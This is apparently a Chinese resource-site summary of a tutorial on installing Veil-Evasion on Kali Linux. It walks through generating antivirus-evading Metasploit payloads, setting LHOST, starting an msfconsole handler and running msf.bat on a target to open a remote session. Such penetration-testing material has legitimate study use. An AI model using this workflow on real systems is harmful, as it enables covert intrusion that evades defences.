Kali Linux安装与使用Veil-Evasion框架教程
5星 · 超过95%的资源 需积分: 22 137 浏览量
更新于2024-09-14
收藏 593KB PDF 举报
"本文档介绍了如何在Kali Linux系统中安装和使用Veil-Evasion框架,该框架主要用于生成能够绕过常见反病毒软件的Metasploit有效载荷,以实现安全渗透测试中的免杀功能。"
Veil-Evasion是针对Kali Linux的一个开源工具,专门设计用于生成Metasploit框架的有效载荷,这些有效载荷具有逃避杀毒软件检测的能力。由于在Kali 2018.1版本中Veil-Evasion并未预装,因此需要手动安装以增强渗透测试的效果。
0x01 介绍
Veil-Evasion的主要功能是创建定制化的payload,这些payload能够在目标系统上执行而不被常见的反恶意软件程序检测到。这对于合法的安全测试人员来说是非常有用的,因为它允许他们在不触发警报的情况下进行渗透测试。
0x02 安装步骤
安装Veil-Evasion有两种方法:
1. 通过Kali软件源安装:
首先,你需要更新Kali的软件包列表:
```
apt-get update
```
然后,你可以使用以下命令安装Veil-Evasion:
```
apt-get install veil -y
```
2. 源代码安装:
如果你想获取最新版本,可以通过GitHub克隆Veil-Evasion的源代码:
```
cd /usr/share/
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
chmod +x setup.sh
./setup.sh -c
```
在这个过程中,系统会提示安装依赖项,按照提示操作即可。
0x03 使用方法
安装完成后,你可以使用Veil-Evasion生成payload。首先,用`list`命令查看所有可用的payload,然后选择一个编号(例如24号)来生成payload。设置`LHOST`参数为你自己的IP地址:
```
set LHOST 192.168.0.106
```
接着,使用`generate`命令生成payload。生成的payload会保存在 `/usr/share/veil-output/handlers/` 目录下。
为了监听连接,启动msfconsole并加载`rmsf_handler.rc`配置文件:
```
msfconsole -r rmsf_handler.rc
```
将`/usr/share/veil-output/source/`目录下的`msf.bat`文件上传到目标系统并执行,一旦目标系统执行了payload,Metasploit控制台就会显示已成功上线,此时你可以开始进行后渗透阶段的操作。
Veil-Evasion为安全专业人员提供了一种强大的工具,能够在不引起反病毒软件注意的情况下执行渗透测试。正确安装和使用Veil-Evasion可以极大地提升测试效率和隐蔽性。但请注意,任何未经许可的使用都可能违反法律,务必确保在合法授权的范围内进行操作。
2019-08-19 上传
2021-01-14 上传
2023-04-05 上传
2024-02-29 上传
lonely20
- 粉丝: 2
- 资源: 64
最新资源
- 平尾装配工作平台运输支撑系统设计与应用
- MAX-MIN Ant System:用MATLAB解决旅行商问题
- Flutter状态管理新秀:sealed_flutter_bloc包整合seal_unions
- Pong²开源游戏:双人对战图形化的经典竞技体验
- jQuery spriteAnimator插件:创建精灵动画的利器
- 广播媒体对象传输方法与设备的技术分析
- MATLAB HDF5数据提取工具:深层结构化数据处理
- 适用于arm64的Valgrind交叉编译包发布
- 基于canvas和Java后端的小程序“飞翔的小鸟”完整示例
- 全面升级STM32F7 Discovery LCD BSP驱动程序
- React Router v4 入门教程与示例代码解析
- 下载OpenCV各版本安装包,全面覆盖2.4至4.5
- 手写笔画分割技术的新突破:智能分割方法与装置
- 基于Koplowitz & Bruckstein算法的MATLAB周长估计方法
- Modbus4j-3.0.3版本免费下载指南
- PoqetPresenter:Sharp Zaurus上的开源OpenOffice演示查看器